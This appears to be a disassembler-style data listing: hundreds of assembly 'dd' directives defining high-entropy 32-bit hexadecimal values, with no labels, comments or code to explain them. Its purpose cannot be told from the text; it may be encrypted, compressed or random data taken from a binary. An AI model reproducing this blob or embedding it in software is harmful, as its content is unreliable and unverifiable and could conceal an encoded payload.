		dd 499CF1BBh, 917EB0F5h, 95DC710Fh, 0A947AF03h,	0E6EB14B6h
		dd 53CE2A80h, 681B0C93h, 70612291h, 6C838CCBh, 182457CAh
		dd 27B9A279h, 8B7143EEh, 39050A64h, 69F8B579h, 0F7F99CF9h
		dd 0A8894A18h, 60B2101Bh, 2CA0588Eh, 4DA2D0B0h,	73EF8059h
		dd 0FEFA1802h, 8171851Bh, 1503B160h, 8E950AD4h,	50A781BFh
		dd 0DDF13AF3h, 751F89EBh, 0D67F228Ch, 7D9165ABh, 548D0512h
		dd 0E2393Ch, 462EBE37h,	6E249E2Dh, 53AF07CFh, 65B2B6BDh
		dd 0D274C59Dh, 9FC9BFFFh, 6915D48Fh, 7FDEE5D7h,	11FE2513h
		dd 6CF41FB9h, 95ECFD2Eh, 5487F20Fh, 0E736CED0h,	8E813880h
		dd 1FC3B092h, 77A81648h, 3BED66BDh, 1E083A4Eh, 15A3285Eh
		dd 44A8B8D3h, 27E03D08h, 0B2631596h, 0FC03046Ch, 0F34F0696h
		dd 0BA5322BDh, 7323FD65h, 9C1C2DDAh, 0C8D07CCBh, 74C9BF13h
		dd 0E522D886h, 0D444BD95h, 0E0753DC5h, 186608FDh, 3E200C09h
		dd 86AAADE1h, 9D2AA34Fh, 0C43B5F3Ch, 33908D6Dh,	5D36DC7Dh
		dd 10E641D9h, 9AE30C19h, 3044C4E2h, 0D5D6C921h,	0F2DD0A51h
		dd 49A1FB2Eh, 245BAD04h, 0A1C9672Fh, 8AA70C67h,	0B4836DCBh
		dd 8AFF1878h, 49A9D383h, 0F95A0A3Fh, 333612A7h,	6896B364h
		dd 23E0BF15h, 0EFD7547Dh, 0F9E8E747h, 79B1B6EFh, 42B756BBh
		dd 9C3FE6EFh, 0EAA4BC7Dh, 2642FB1Bh, 0F4E51D40h, 34EEA923h
		dd 0F262C49Ch, 5769719Fh, 0E90D684Ch, 4BE2EC2Ah, 4AA08491h
		dd 3183DCC0h, 7CCF572h,	25B3E74h, 2017A886h, 6F4CD238h
		dd 0A906616h, 60297236h, 8B5823F7h, 60E05085h, 26D5E893h
		dd 7FFFAC81h, 0E9494867h, 9D46D8A1h, 6BCAA95Ah,	0B41A2248h
		dd 92529312h, 6451E059h, 0DD88BF43h, 64E0601Eh,	9B5244D7h
		dd 4E9C42BBh, 0E7DE074Dh, 8A700A1Eh, 72EC1B06h,	0EA93F73Ch
		dd 7D6D1C4h, 0C8D552Bh,	0C7A87DABh, 224B4CD6h, 0C4E6BD6Bh
		dd 0DC7A721Dh, 0CBE8273Ah, 3C6C4B60h, 4C97864h,	0B5E78FC8h
		dd 0A9CBBF23h, 83F8D84Ah, 2743E589h, 88029318h,	0ACB772CDh
		dd 1E898F53h, 0F8A83CAh, 20F9F58h, 651A0E24h, 27B6FA37h
		dd 0FEF23069h, 0CD41E966h, 0C8533D7Dh, 0C1F977DDh, 9C33E7E4h
		dd 0D1D4978Dh, 0CF908144h, 0D41914DFh, 9CF38568h, 3DA32DA4h
		dd 0F77AAB92h, 715CCB35h, 79B1035Eh, 3D39B0C4h,	0ED4431BBh
		dd 59357564h, 1855358Dh, 0DADD1366h, 0A0A4C59Fh, 96192AD7h
		dd 8F6684F4h, 857C95BBh, 5831DAE2h, 0F8DD4314h,	0D4699F92h
		dd 5DD18EABh, 4802504Fh, 2547A489h, 0DEB8790Dh,	0AFB8F081h
		dd 9362075Fh, 0C58A1507h, 0FF63E2E1h, 405C665Fh, 7D83F4A5h
		dd 0B7E05D5Ah, 0DD2CBC57h, 28C2B0CBh, 0EECBEA29h, 2EE5085Ah
		dd 88CAF403h, 3C119589h, 267811D7h, 0D5DDEAF8h,	34CD7D40h
		dd 45B3049Ch, 8A24116h,	8E3B8831h, 0D0774CB0h, 257CC638h
		dd 0A9B4C232h, 69F14259h, 0AA504E93h, 42C5FE6Ah, 0F08A80A9h
		dd 283BA803h, 0C6925AA4h, 0E44C4ED5h, 0D873F0F8h, 413CAC53h
		dd 4E0BD052h, 0E9FCC2DFh, 0C6AD9CA2h, 0F4FF75D0h, 0BD2CA397h
		dd 855532EFh, 0E24A5097h, 8A1D5238h, 86AA8135h,	0D3013AA8h
		dd 2EE83BE9h, 4AE63681h, 0E9E2A5D9h, 0F7B255CDh, 408CCD3Ah
		dd 44307142h, 79376D28h, 89C4B284h, 0F9AAE012h,	0E4E5BF83h
		dd 0F1BB8059h, 0B1AA0C3h, 676B98F6h, 0FC82F6D0h, 657F40B3h
		dd 541D151Eh, 0E173D03Ch, 0E3BBF4EAh, 0CB9A4192h, 95E188A3h
		dd 0D40F944Fh, 89C89F8Ch, 0BFABA8B8h, 0C7794236h, 8825BA6Dh
		dd 0F42823A3h, 0F641B1B9h, 0E078430Fh, 2E14CFDBh, 6EB6DB5h
		dd 94FCC81h, 22F0FE33h,	85EA8B7Bh, 7C229739h, 97517C7Eh
		dd 0BA57050Dh, 0A564300Ch, 8D127963h, 0C83CAF0h, 2FF7865h
		dd 0CAB021A3h, 0EA5857D2h, 0D487954Fh, 95560E9Bh, 0F3B11D8Eh
		dd 0ECCD5571h, 8498CD52h, 0E26094A6h, 17357711h, 9D445F90h
		dd 1B4C2CEAh, 0BFE74CE0h, 8ECB9A14h, 2853D675h,	4D633402h
		dd 668F9FD1h, 54ACC143h, 0C37ADDD6h, 0BFB9D847h, 4BD2E8E1h
		dd 0C979773Dh, 2B214D29h, 0DAFC7DB9h, 6D4E9691h, 3145F731h
		dd 465A8140h, 0A4D8A6F5h, 0A7C8C116h, 0BA50E0CFh, 16B7FF78h
		dd 193EA3FAh, 0DA92DDDBh
		dd 69F722F9h, 3147E25Eh, 56E314C4h, 0A45726C2h,	72FA9A18h
		dd 0C3A60B46h, 0A5A1B558h, 0C07551F5h, 9BF49504h, 2F1EB234h
		dd 0E29CBECh, 0BD0A116Eh, 6BB2FD19h, 88E00B30h,	5B67AF42h
		dd 0A4ACB907h, 9AB1996Fh, 0ACB47C9Bh, 87A084D9h, 887D2462h
		dd 7EC0E801h, 51FEDCA6h, 0AD8C373Eh, 0DAE336B6h, 399F04ADh
		dd 86F6374h, 7EF6FF83h,	465EAEFEh, 847A5692h, 3CBDE727h
		dd 3B2F7D96h, 0F71DACA7h, 0ED2BE266h, 2E5FD7DEh, 0A9138278h
		dd 44373F4Dh, 0D3754ED6h, 6DA10D0Ah, 6D1C9C43h,	318F53F6h
		dd 302AFBF8h, 0F016D9Bh, 593619D2h, 0B09EEFF4h,	0EE038E76h
		dd 3C8AAE62h, 0DF9A76F4h, 6B254DD4h, 0F2F32B96h, 0E8A155B3h
		dd 0DEEF9FE4h, 84D481Dh, 0EB497250h, 507D17FFh,	56AA0396h
		dd 4A679395h, 0A8EA12BFh, 3E08F939h, 0D07A3EB5h, 2EC5B7EBh
		dd 0FA51D0A5h, 21D26319h, 93EC4576h, 5ED1D284h,	5350E06Ah
		dd 9315D458h, 2A771E9Bh, 309C864Ah, 4DF1C44Fh, 44FF7381h
		dd 7282D041h, 81244CA2h, 6D2131CAh, 0F9CA439Bh,	2B6B8A08h
		dd 47644885h, 75AC470Fh, 21694126h, 0E205EE54h,	98AD9456h
		dd 5253A45Dh, 417B94DCh, 3B30A425h, 1313F9A6h, 0C81CE704h
		dd 167D3899h, 3C16FC4Bh, 25761064h, 3AA8E432h, 4A39AF6h
		dd 131B7077h, 571C40B0h, 386154Fh, 0AF0705A5h, 9FD8A8C6h
		dd 0A9D8EE0Bh, 0D69EF8E2h, 5E130560h, 27AB54CBh, 0D69B985Eh
		dd 7E383578h, 0C5D9201h, 0C72400Dh, 872D77ADh, 360302D3h
		dd 62A77502h, 0AC01E3ECh, 0A45DBC4Bh, 0F6484F73h, 7C780DF5h
		dd 5AABDC85h, 426D69AFh, 0E1F3B07Ah, 857E72A4h,	41B09D66h
		dd 0FA6BE6F2h, 464BD291h, 5B83D8CCh, 9335FE50h,	3025E13Fh
		dd 35501B42h, 59E197BCh, 4E0773BAh, 87B4399Eh, 0B4AB23C3h
		dd 0FC1041F0h, 0A04378B8h, 0BCBC4140h, 0C7C8B256h, 6714E94Eh
		dd 0DA003588h, 0E94D36E9h, 71342A26h, 940861B7h, 53E2AF19h
		dd 718866F5h, 9264585Bh, 0A2CF364Bh, 0B6111ECFh, 0A5C7CCBCh
		dd 6BF4745Eh, 0FACBEDC4h, 0B9B265BCh, 96B9FD0h,	0C4936092h
		dd 9D0FB3D5h, 8A0023FBh, 0A86A438Ah, 63C2D62Dh,	617BC69Bh
		dd 9C163228h, 0DB69D655h, 78984600h, 1A5FD942h,	70C5E089h
		dd 0E0255C3Eh, 93AB99A4h, 83BC0616h, 45BB8C1Eh,	0EB7B02D0h
		dd 0E785BB04h, 92508BF9h, 142BC3A2h, 11DEF2D5h,	0B80822ABh
		dd 0A8263132h, 807AE14Dh, 8061558h, 0C79C935Ah,	59CF8CF8h
		dd 71341F03h, 2A8467C5h, 0BDFF7712h, 0C24F6DBCh, 0F0B44D64h
		dd 0B0001465h, 2D5F2C2Dh, 7B58AAF8h, 3A2F34C2h,	0DDE72386h
		dd 6EDB889Bh, 0B08CEEA6h, 3C177B2Ah, 81893AF1h,	752D0C05h
		dd 8C5B6F83h, 4E1E7271h, 631CED8Fh, 5B5E3957h, 9728C538h
		dd 983BDF7Eh, 1CB9D87h,	572F1FBEh, 14354487h, 5618BA39h
		dd 25CA7A4Bh, 8BC4EFDDh, 9E072F9Bh, 12E3DC5Eh, 44379017h
		dd 0B8781E43h, 61689317h, 7BE45795h, 0DEF444B3h, 5077F1D4h
		dd 0E668266Bh, 33ED3710h, 0D50C5CC7h, 0E886F1h,	7B489258h
		dd 0FB3EA6ABh, 0CD1C18Ah, 613E0BA5h, 725B834Ch,	4A6AD068h
		dd 30E2CEF0h, 0F38A6E0Dh, 7D4564C9h, 8BDA66A9h,	66077596h
		dd 0A6EA2978h, 4885799Ch, 41F05E20h, 404D3928h,	67A70248h
		dd 31C008BAh, 4B304AB9h, 8CE86274h, 731182CBh, 5D66EE3Ah
		dd 0F9215A1Dh, 0BCBC2C6h, 0F894A55h, 0A9232271h, 0C504A845h
		dd 5063C760h, 22E6D233h, 917392ABh, 3F52FDF0h, 786FE782h
		dd 0B89E1B46h, 0A8D55BD1h, 58ECB5CFh, 0C7A842AFh, 6081115Dh
		dd 0B38F7A16h, 6F4EB5A5h, 0AFE38C97h, 15D2A747h, 9EB3BC20h
		dd 6520472Bh, 2EDAAC7Bh, 1B86CC83h, 0FF94C448h,	2832E52Dh
		dd 12ADABAFh, 3C01F029h, 0DC6DC604h, 7E9B3D7Ch,	0F5DB1DEBh
		dd 0B97A6E32h, 0F962C052h, 0B40F9E15h, 17B06E0Dh, 95DFE866h
		dd 7FCA8677h, 80E7F21Ah, 9919F99Ch, 41A2EEC7h, 0BD7930C2h
		dd 574E91E3h, 0EF8B8826h, 0F1BA8B29h, 8841E68Dh, 4A4CDE02h
		dd 36383867h, 0C3AEFB39h, 7FD3AF21h, 0B4F504F4h, 0A13E1D51h
		dd 0F4BD6DD4h, 0B9C2ECDCh, 1548A4CCh, 59CAFCEAh, 62DB0CAEh
		dd 56D3B8h, 17B53A00h, 21B14695h, 23039ED6h, 0A8F99BBFh
		dd 0E973D31h, 8FD4335Ch, 11E88316h, 0D980F402h,	0A5384212h
		dd 0CE8CB0F6h, 20173E51h, 22FB263Ah, 2E676B55h,	15388D75h
		dd 753E2318h, 647FD526h, 5D36CCA4h, 384C6FDDh, 0F02DEEE0h
		dd 0B85522CEh, 0E2B73626h, 8FBB5E85h, 22D28990h, 33ADD6AFh
		dd 176206ACh, 69E11F15h, 0C2D9E846h, 67F3BF16h,	3A943259h
		dd 0E586342Ah, 43DCA020h, 0D17BA959h, 3ADDEFD2h, 55A5D721h
		dd 7839BF71h, 160C4BAEh, 777B390Bh, 0DDBCFCDCh,	51B6993Dh
		dd 22E14E3Ch, 270BFEB1h, 58FC89DEh, 86ACF37h, 38C8BE67h
		dd 46B609D0h, 4776D69Dh, 0F23CDE74h, 0FA5389h, 0DD3495Bh
		dd 50B78BE4h, 16B443BDh, 0DB5859E0h, 1A6DE5EEh,	8AA684CEh
		dd 0C6200A28h, 0A1BD9C9Ch, 3763FE99h, 1BBE04FBh, 0BAE895FBh
		dd 97242FFh, 0E1B638C5h, 0DDD5B9C5h, 93EB5141h,	0F77BD2D5h
		dd 0F9818AE8h, 450C536Ch, 5F61D33h, 7410C231h, 0D992D34h
		dd 73DCE55Fh, 599C850Bh, 0C0D23385h, 0CCAF362Eh, 53E382F7h
		dd 0B3C138D7h, 3135CAD4h, 0FD2CC201h, 79435B84h, 0EB43AAC9h
		dd 44A1D9FAh, 26075CDAh, 0BEE6798Ch, 6E2F3DB3h,	0D7FAECA1h
		dd 0C1A42E46h, 0FDFD6139h, 0B37E4300h, 0A50C5467h, 95F0337Dh
		dd 55C8F429h, 0FABFB51Dh, 3656D8C2h, 2665DAC1h,	2CA64634h
		dd 0A45D07E4h, 9466D9A9h, 0A77181F2h, 2BF27B56h, 6F15F9BDh
		dd 23DF51Dh, 0BD2F5079h, 32A4C9E8h, 412EEC13h, 0D2AB9850h
		dd 0AF9632B0h, 282BDCA2h, 5D946E6Fh, 0FE97A3ACh, 2F107F0Eh
		dd 9573985Ah, 3880C87h,	3113DF5Eh, 0A44DFAB5h, 4CDEA69Ah
		dd 4FABDC2Ch, 3D2F8F49h, 5C15FD10h, 0BE0C5BC5h,	53D43755h
		dd 899E359Dh, 59DDC3EDh, 0B9110AD6h, 2913A01Ch,	4B94052h
		dd 430AE147h, 88AB8F4h,	2ACEBB17h, 7E0D73B8h, 6188FBE0h
		dd 703FE1F8h, 0BA7AEB87h, 0ECE3391h, 0D3FC295Fh, 608E7CDDh
		dd 0DB710407h, 0C00950F4h, 445275F1h, 0FE40D830h, 0D0F43382h
		dd 37E7B517h, 0DD382552h, 747DA97Ch, 0D9E218FDh, 5D6791F2h
		dd 3731A0A3h, 9767118Ah, 0B315CAADh, 0FDEB5E89h, 0F526BDADh
		dd 0B44BAAF6h, 1063006Ch, 79E1BB5Fh, 0B42B6AB9h, 0C3FCDDE3h
		dd 9D3D7005h, 0AAFA6310h, 6B24D8FBh, 5ED4D74Dh,	1BBF5809h
		dd 0B2595A13h, 0E8E8D2A9h, 1B2A99E1h, 18012C34h, 0C9A5578Ch
		dd 0D97D7A4Ch, 7888CF1Fh, 2EBF2ABCh, 8D630040h,	361BCF0Ch
		dd 2AA6986Dh, 79EA0C1h,	0FFE45Bh, 3E0616Eh, 14AD176h, 249B68AFh
		dd 7F4BF8C8h, 0EC506E8Ah, 2D62CD5Dh, 359699A2h,	436E84A2h
		dd 0FA2CFE31h, 0AFBA09BFh, 95605373h, 9D4EB0FBh, 35C21EEAh
		dd 48EE2404h, 4D7C8A97h, 0EA9BC1FDh, 1494AAF1h,	0D96C2B6Eh
		dd 0B12DC75Eh, 0BCCADFFBh, 0CF9D8DD3h, 5CA6D9EBh, 0DF308494h
		dd 0A63908B1h, 0CB4DB1EDh, 8791E4E8h, 3CCB0228h, 0EC1AE64Bh
		dd 0DC628904h, 0EFA1C2B2h, 0FBFE1CEFh, 5A89F3A1h, 70444AC4h
		dd 864B6CA9h, 0B3D1CF60h, 3B3BBCD4h, 0C471B2F0h, 1B009748h
		dd 404DA07h, 7F73C6FCh,	0E095CA22h, 3854B8DBh, 0E428EA63h
		dd 6926D13h, 0FF2B23FAh, 0E282CFA6h, 9691D53Eh,	2DD94253h
		dd 704CC7ABh, 20AAD38Dh, 0C59E93h, 2D2AFD43h, 752DD153h
		dd 15710C8Ah
		dd 6288B7C3h, 0CCECD23Ah, 70BEFE41h, 72C1322Dh,	0ED630BF6h
		dd 32CC9F21h, 9A1AE407h, 0D417D886h, 0B82E978Ch, 5457655Ah
		dd 0B8E09DBh, 6952C05h,	316ED8F6h, 0D659878Dh, 299B75FFh
		dd 4EC7866h, 90F66667h,	6BEE8A48h, 0D7822FFCh, 0C72CA707h
		dd 34D52DDBh, 27EBCE77h, 0E0484AA8h, 1D32EC4Dh,	0E6666159h
		dd 0DB093E08h, 84D1EC84h, 2CDD86C9h, 0A353990h,	0CE53A7D7h
		dd 9DDA7281h, 0D41B9138h, 0B9A178E2h, 145C3A47h, 0D8DD8693h
		dd 65FD1E82h, 0AB20715Dh, 0D8B21754h, 0ED491E52h, 0A61EDD9Dh
		dd 7AAACB49h, 95B64273h, 0AB702BA9h, 0B8A9511Eh, 4E77EFFAh
		dd 55183F0h, 9D88FEA5h,	62681FC1h, 0A0A896C7h, 5DFEF726h
		dd 31503E83h, 0C687CCFCh, 700E2EF4h, 84EE6815h,	532E05E7h
		dd 1AE939Eh, 7EDDE7EAh,	768471DEh, 4B9091A4h, 2E17A6DAh
		dd 3A542B07h, 7455693Bh, 0D887C9C0h, 0E5A946CEh, 0C1FE7A57h
		dd 3F96FA46h, 0A69D7C5Dh, 95A85EA9h, 112C7F8Dh,	1F0A9480h
		dd 9A03B52Fh, 12832668h, 8747AB53h, 2AF8D559h, 51AF2248h
		dd 97845E80h, 14BC784Fh, 0F3F70E42h, 430F1AA4h,	0DF1D71FAh
		dd 4C4FF965h, 3E900517h, 0A3C8DA40h, 25CB5B13h,	35960CD2h
		dd 0F43DE301h, 6EF2A4A6h, 0E59D0FE9h, 55E7D84Eh, 0E975827h
		dd 0FF524D2Fh, 981D44E2h, 9F7E28B5h, 1CFA20C7h,	0CB00FB86h
		dd 0F8D1107Ch, 693BBCEDh, 77CD226h, 83DF2BA0h, 140F872Dh
		dd 67A31B5h, 0EC27CDBh,	9D4C279Fh, 0AE43BAF7h, 0E02D34C5h
		dd 3487957Bh, 316E74DFh, 0F90ACC13h, 1378C18Ah,	0C72C29C0h
		dd 94A4EDE5h, 331BC5A1h, 22D42A40h, 94E13790h, 0B1551031h
		dd 3C16115Fh, 0C6B92D16h, 15B5FE3Bh, 9B503807h,	0B4985758h
		dd 933EE016h, 0B48370ABh, 0F3B159FBh, 4215AC78h, 0D7E34DD0h
		dd 0E01E3F53h, 8A302CBAh, 5E1CB720h, 0F35440D0h, 7C1814CCh
		dd 1D80DF29h, 4F37FA0Fh, 6279C23Fh, 6EEE1C84h, 0E0368B1Dh
		dd 0F4F3E2C5h, 0A9EEAFFEh, 0B7494C03h, 71D08106h, 0D55A5975h
		dd 0C5762640h, 4B1B1633h, 21FF50D4h, 487E8FDEh,	84D44E3Ch
		dd 0E852D46Bh, 0F0A21A21h, 4CC0825Ch, 566DE38Eh, 0B0F3ADEDh
		dd 9076ABF1h, 428966E7h, 0FEAE016Bh, 69733DD9h,	6C536FCEh
		dd 608318FCh, 0B55497Eh, 40F68DA7h, 0FAECDB1Dh,	907E58A5h
		dd 0C0D6344Ch, 4196BEB2h, 67160FCDh, 0A75E14Dh,	472ACC62h
		dd 0B0041E7Fh, 7840D5A6h, 9ECDA4EFh, 5D21385h, 3CFBF81Ch
		dd 0A87B91BAh, 619B30B3h, 0D655DA8Dh, 2AC4962Ch, 0CC7C50FCh
		dd 0A794EFAh, 8CDCA24Ah, 0CBC8D07Bh, 0ACD4B15Bh, 9C08E0DFh
		dd 0C040651Ah, 31810159h, 91ED8A87h, 0D2668AA8h, 0BACA88h
		dd 72778C4Ah, 0B2210EFFh, 51D286FAh, 0E6902E8Eh, 1D0A25D7h
		dd 5034BEEEh, 0A2EB9A4Bh, 79C6C964h, 3138F666h,	8E796AF6h
		dd 836A7236h, 91FA53FFh, 0B0A10F85h, 4BF32FF0h,	2A5E0EEAh
		dd 88EFE8BFh, 0D526972Ch, 6269C813h, 8A96C413h,	4177C113h
		dd 2224EBB8h, 55C404EFh, 66761F04h, 0DB1A2544h,	495F6BD3h
		dd 0FD13E36Fh, 54C5ECA3h, 0D69FC522h, 0E28B7DF8h, 30AD709Ah
		dd 0C77CC812h, 37E98EE7h, 0A790D032h, 748F48E9h, 0F23BAD1h
		dd 2AA3A635h, 0DDA3518Ch, 0E2ED6B5Fh, 9D7CDC4Eh, 0A9CBB5Ch
		dd 3BDEB872h, 676B4C6Bh, 0CEB9EABEh, 23BFC15Ch,	5710C76Ah
		dd 214A53B1h, 5CEC999Bh, 69C0BE58h, 81C03CA8h, 9D275B10h
		dd 9D9F2473h, 0D674C95Dh, 725596FDh, 58C45BF8h,	0A0FAA4D9h
		dd 63129109h, 0BED2569Bh, 0FF2F6A22h, 3B9396B6h, 6A9AB5Dh
		dd 7893D78Bh, 42317724h, 0DD826AEEh, 59852B88h,	1EC1D194h
		dd 26F5166Ch, 0FA9F9ACCh, 0C4727326h, 0E86494E8h, 92BDA800h
		dd 6DCBA808h, 7835D9C1h, 0AD0C021Eh, 958FB8F1h,	0D564CEF8h
		dd 490C545Bh, 0C91D61ADh, 0FAF4E1A8h, 8FE9304h,	0B8478F27h
		dd 0D086039Ch, 16D3F9Eh, 0E1667BCEh, 4C113C31h,	887CCD9Fh
		dd 9781D45Eh, 0D32657D4h, 0DBC20932h, 929BE9C7h, 0A1743A9Ch
		dd 3B8C7049h, 0C20E0C7Ah, 50F28E13h, 0EE60C3BAh, 0F5D17736h
		dd 0F137808h, 301E5CE5h, 0EA1F5110h, 9F590D45h,	0AC0E4D2Ch
		dd 0A2CD93EDh, 5E5DB38Ch, 259CCECh, 9B0A44EEh, 0F2D5C502h
		dd 1334E679h, 3396EA83h, 79338D90h, 0C7C05041h,	81750C67h
		dd 0C1D380FDh, 1E78AC1Dh, 9A121682h, 79F49BDEh,	0F42A5770h
		dd 3581FB86h, 0C8D32A7Dh, 0FA8B77E6h, 861E77B2h, 7943739Ch
		dd 0AE422E20h, 3A9805B2h, 2F339626h, 8DEEE20Bh,	3C7F40E7h
		dd 34B67712h, 45AC2162h, 1294186Dh, 0D3EF57F7h,	0CAF13815h
		dd 994D1202h, 2166DF7Fh, 0E0482147h, 0A0B66878h, 0CCF9AC43h
		dd 96F3E172h, 0A6295A5Eh, 0FE929920h, 6A58F94h,	0EF27CD10h
		dd 0AFD52EEDh, 5B22DC5Fh, 7C04B1EBh, 0BD41FADEh, 0ACF21161h
		dd 476868BEh, 71B3AA91h, 0B0B5A65h, 23A446Eh, 0A17128B8h
		dd 0F5C0F94Ah, 86F2380Ah, 10DF9AC2h, 5FE0728Fh,	24453213h
		dd 30483DBDh, 76B99A7Ah, 0ABD440A4h, 53643616h,	0E34E1261h
		dd 0BDA519C0h, 548798A2h, 7D223D6Dh, 0DD12DBF0h, 45E7FC05h
		dd 5399904Eh, 59CC69B8h, 0E400719Ch, 0BA1172Dh,	0F8C1A5C9h
		dd 98C6F16Fh, 0BAE87DC9h, 0EC826DACh, 0C877CAD0h, 83D65CF1h
		dd 0AD05B36Ah, 93DF2492h, 91298A7Fh, 0B833F169h, 0CDCF7274h
		dd 7CCEC995h, 0FA96D76Ah, 0EC3B5BC1h, 8E97EFEh,	74FFE571h
		dd 335F5A60h, 4353CEE2h, 0CE3565D4h, 89009192h,	0B59FC049h
		dd 9004AE48h, 0E2FACC2h, 0DE0383C6h, 5176CAD4h,	6D1913DEh
		dd 0FAFCCECBh, 295D6EBAh, 1EAD100Fh, 4B9DA7C9h,	0A7C8C8E3h
		dd 78FCFD34h, 0BB45328Ch, 0B8DB227Dh, 5B215B63h, 0E49F3726h
		dd 6A48EEDFh, 9703A1EBh, 1D9CAC14h, 3071B47h, 74BD522Dh
		dd 6F4CBB26h, 0A4370787h, 20A8F2D9h, 0D5B0FCB5h, 571D00DFh
		dd 24A6FA71h, 9CBFAED3h, 21569B46h, 5B15F6A2h, 81A91164h
		dd 8029529Fh, 506F3CB4h, 0B4EB51B3h, 0A08ACBB6h, 0A1C73156h
		dd 66D57146h, 0A2A1EDBCh, 461BAF82h, 878F87A8h,	0F0494D8Ah
		dd 22359A64h, 0B9605566h, 0E653AA46h, 0CB3BF5BEh, 546ECE60h
		dd 5500468h, 6BB3CF0Ah,	10E41DECh, 16BC34B8h, 104F9222h
		dd 0F67FFBC3h, 0C07D5C1Ah, 55BF9929h, 733F5254h, 788CE7A1h
		dd 2BCD262Dh, 8CF691D7h, 0DAEF1911h, 4790F8D0h,	96811C6Ch
		dd 0C1523ED5h, 0A3049AEh, 0D5C18C4Dh, 67F4CCB0h, 0C566FF92h
		dd 10A20A96h, 7E4A996h,	5B3537B1h, 0EE97DD45h, 0BBDAE223h
		dd 0E55DDBC2h, 27035C38h, 0FE545EE4h, 8A1CB54Eh, 0E1F51B7Dh
		dd 0F906C85Bh, 4789C3Eh, 9F97694h, 67231889h, 1D4F1E00h
		dd 4B6FE6A6h, 5D918922h, 22D7E54Dh, 1E8678DEh, 9D89F01Eh
		dd 49A9AB9Bh, 64059383h, 9DD32A70h, 1EB662A6h, 93BC7E70h
		dd 7712F67Ch, 25D28F51h, 0A93EEC5Fh, 0A0B5A023h, 0A4322BA1h
		dd 4EDC5C8Bh, 54E186A2h, 5D012FE5h, 0FBC240E7h,	3CB6D380h
		dd 5827A1A7h, 1033D53Fh, 0A7AE6AB0h, 0F3D6C28Ch, 7A2F0258h
		dd 497EE064h, 98056831h, 0C0580B53h, 0E454C557h, 0A83294E4h
		dd 0F78510E4h, 61A1778Bh, 2CF64175h, 0CD0E6A37h, 0C1AA70Bh
		dd 0E5ADB969h, 1681C55Bh, 3A1BCF4Bh, 40834710h,	1CB42BA9h
		dd 31966E95h, 833392DAh, 0BE88C46Eh, 94384555h,	0A932FE0Eh
		dd 7F70C13Ch, 39E09BA4h, 0EE171907h, 9C5D1CF7h,	3D62AC0Ah
		dd 0AADAEA54h, 0FAE332B1h, 63DE9E61h, 91DF03F8h, 9C19A4CEh
		dd 59E0C073h, 0B2539A89h
		dd 0ED3175C1h, 0A10108D9h, 74AC97B0h, 5FFFFE8Dh, 737FCCADh
		dd 799C94BAh, 25F44CEDh, 0E066E1FEh, 678B8214h,	28AA2402h
		dd 0AECCB45Fh, 0F65EEEC2h, 658CFC74h, 6FF77458h, 0AAB831B4h
		dd 49794F98h, 0E31E670Bh, 0E4E48291h, 0E1A07FCh, 0DFDD47EDh
		dd 98C8DDEAh, 0CDC55A62h, 0A0C66921h, 0BD2E4596h, 749E18A6h
		dd 76C93EA5h, 699E2587h, 8EDC3A4h, 61736A22h, 5D042593h
		dd 0F5046EAh, 0E64CCh, 1ADC3ECEh, 5B49BCD1h, 0EE2477E4h
		dd 4F66AE63h, 0F0245F5Ah, 0F3D9C958h, 1FD7A24Fh, 0D3D61C5Ch
		dd 9484636Ch, 0BBCEE0D0h, 68DA2FC2h, 0B095FF66h, 0EC2663C4h
		dd 0B6B62D8Ah, 48D9E634h, 0D3172550h, 0A6E4AD22h, 0DCE5E250h
		dd 0D85B5FFDh, 6750370Eh, 6CBE4FD7h, 0CC0B8FEBh, 484DE8D6h
		dd 0CC35761Ah, 7BCE884Ah, 0B1C14950h, 0F74EC415h, 57706F8Bh
		dd 8AFF98D2h, 0E45A65D0h, 21A2FC27h, 65E77BD9h,	0E7BF490Fh
		dd 0ABC8E444h, 536DE581h, 0DE805E8Ah, 39639Bh, 0E3E1E4F3h
		dd 4B0D8A98h, 8FAA238Ch, 176F4E8Eh, 0F37BA126h,	5B7FADAEh
		dd 0FF91B7BDh, 74F1F36h, 468E51BAh, 2DF016E0h, 0E391CDE5h
		dd 42436B80h, 3C570BC1h, 0A1567632h, 46A278B2h,	7430FCEFh
		dd 0E49CE63Bh, 6159E242h, 4BA304A4h, 19EEC134h,	1878EEF9h
		dd 89C858CCh, 0C29B00F9h, 0DF70DA5Ah, 905BD43Ah, 287B2F0Fh
		dd 3D236511h, 2E4AEA18h, 181126C8h, 0D3D49779h,	8DEAB3E1h
		dd 8833195Ah, 9D8ED52Fh, 11BE4723h, 0AD684637h,	1A5360C0h
		dd 128668Dh, 352F3FC7h,	0D24FA0B3h, 1B99B231h, 8925B191h
		dd 6D7F27D1h, 66D2AA9Bh, 9893CC21h, 0BB4EC269h,	0DF4C99Eh
		dd 0A8D80AFCh, 9668009Ch, 668F1473h, 0A2C0E104h, 0D258DD99h
		dd 5EBE041Bh, 0FBFA8A9h, 0F01F9619h, 63B02759h,	0FB19ABF3h
		dd 30F7DA25h, 4AAAD2E3h, 96CBF21h, 258F7D2h, 8723D6B1h
		dd 0D668E0DEh, 8C4D7D99h, 3CC41ECEh, 0CA9347A3h, 2A844107h
		dd 0E0FDAD33h, 76509D3Eh, 0EC5B5B02h, 0E396B64h, 0B31A804Eh
		dd 0DB626915h, 85B4B161h, 744A7802h, 0B0F316ECh, 1332D237h
		dd 30B18EBEh, 85BEE113h, 5EDFAD7Dh, 0A299D5EFh,	1DCB4E42h
		dd 61CF89F8h, 9B1B7CC7h, 5E73C941h, 3C3E0A12h, 0E7FA49D4h
		dd 89F3B0BAh, 0F779F361h, 86868A03h, 0DB060496h, 0E1613402h
		dd 1A0D4B73h, 0DF5274B2h, 0ED61A970h, 4BA52551h, 0A5BEE80Bh
		dd 0F8144228h, 0C7D8AD25h, 6C6739E4h, 0FF35C8CCh, 0EB21606Bh
		dd 570FB999h, 0EFF7FF0Fh, 8D617089h, 56A9CB26h,	25C8F5B9h
		dd 0FEE947D7h, 0E45406B4h, 0F47844BEh, 0E57C4B54h, 68B0C9E7h
		dd 0DCD2478Eh, 0BD1B1B83h, 5F00B6F1h, 0F371AFF3h, 0FAEB4BFh
		dd 0EB46A320h, 6E39914Ch, 4A53594Dh, 0D887B8D0h, 0D30EA90Eh
		dd 0D218F373h, 278198C8h, 25F15773h, 5BF8F314h,	3B44DAF6h
		dd 1BAFAFEAh, 0BEB3F173h, 38C0BE37h, 0D48113BBh, 0A2C32FF4h
		dd 0C3C8FAE7h, 96AB8E88h, 0C32EECF7h, 5BFA3C92h, 1BAFF238h
